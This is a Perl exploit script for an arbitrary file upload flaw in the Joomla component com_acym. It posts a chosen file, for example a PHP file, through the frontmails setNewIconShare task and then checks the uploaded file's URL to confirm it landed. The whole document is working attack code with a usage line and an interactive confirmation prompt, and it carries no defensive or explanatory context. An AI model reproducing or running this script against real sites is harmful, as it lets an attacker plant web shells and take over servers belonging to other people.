########################################################################################
#Exploit
########################################################################################
#!/usr/bin/perl
#
#$> perl ./exploit.pl "http://127.0.0.1/joomla" "lolz" /tmp/lolz.php
use strict;
use warnings;
use LWP::UserAgent;
use JSON(qw/decode_json/);
########################################################################################
sub print_usage_and_exit
{
	print("*** com_acym Arbitrary File Upload exploit\n");
	print("Usage: $0 <URL> <path_to_upload> <file_to_upload>\n");
	print("\n");

	exit();
}

sub fetch_useragent
{
	my @available_useragents = (
		"gertrud barkhorn",
		"erica hartmann",
		"eila ilmatar juutilainen",
	);

	return($available_useragents[(rand(scalar(@available_useragents)))]);
}

sub is_valid_url
{
	my $given_url = shift(@_);

	return 1 if ( $given_url =~ /^http(s)?:\/\// );
	return 0;
}

sub do_die
{
	my $errmsg = shift(@_);

	printf("[!] %s\n", $errmsg);
	exit();
}

sub get_base_path
{
	return(sprintf("%s/index.php", $_[0]));
}

sub do_exploit
{
	my %params = %{ shift(@_); };
	my $ua = LWP::UserAgent->new(
		"agent"			=>			$params{"useragent"},
		"timeout"		=>			360
	);

	print("[+] Trying to exploit ...\n");
	print("[*] Sending POST request ...\n");
	my $response = $ua->post(
		get_base_path($params{"url"}),
		"Content-Type"	=>			"form-data",
		"Accept-Language"		=>	"zh-cn",
		"Content"		=>			{
			"option"	=>			"com_acym",
			"ctrl"		=>			"frontmails",
			"task"		=>			"setNewIconShare",
			"social"	=>			$params{"path"},
			"file"		=>			[ $params{"file"} ],
		},
	);

	if ( $response->code == 200 )
	{
		my $j = decode_json($response->decoded_content);
		my $f = sprintf("%s.%s",
			$j->{"url"}, $j->{"extension"});
		my $response = $ua->head($f);

		printf("[\$] Uploaded file in %s\n", $f) if ( $response->code == 200 );
	}
}

sub main
{
	print_usage_and_exit() if ( scalar(@ARGV) < 2 );

	my %params = (
		"url" 		=>		$ARGV[0],
		"path"		=>		$ARGV[1],
		"file"		=>		$ARGV[2],
		"useragent"	=>		fetch_useragent());

	do_die("Given invalid URL.") if ( !is_valid_url($ARGV[0]) );
	do_die("Given invalid File.") if ( (!-e $ARGV[2]) or (stat($ARGV[2]))[7] == 0);
	printf("[*] Parameters:\n");

	while ( my ($k, $v) = each(%params) ) { printf("[+] %s => %s\n", $k, $v); }
	printf("*" x50 . "\n");

	while ( 1 )
	{
		printf("[?] Proceed(y/n)> ");

		my $c = <STDIN>;
		chomp($c);

		if ( (length($c) == 1) and lc($c) eq "y" )
		{
			do_exploit(\%params);
			last;
		}
	}
}

main();
########################################################################################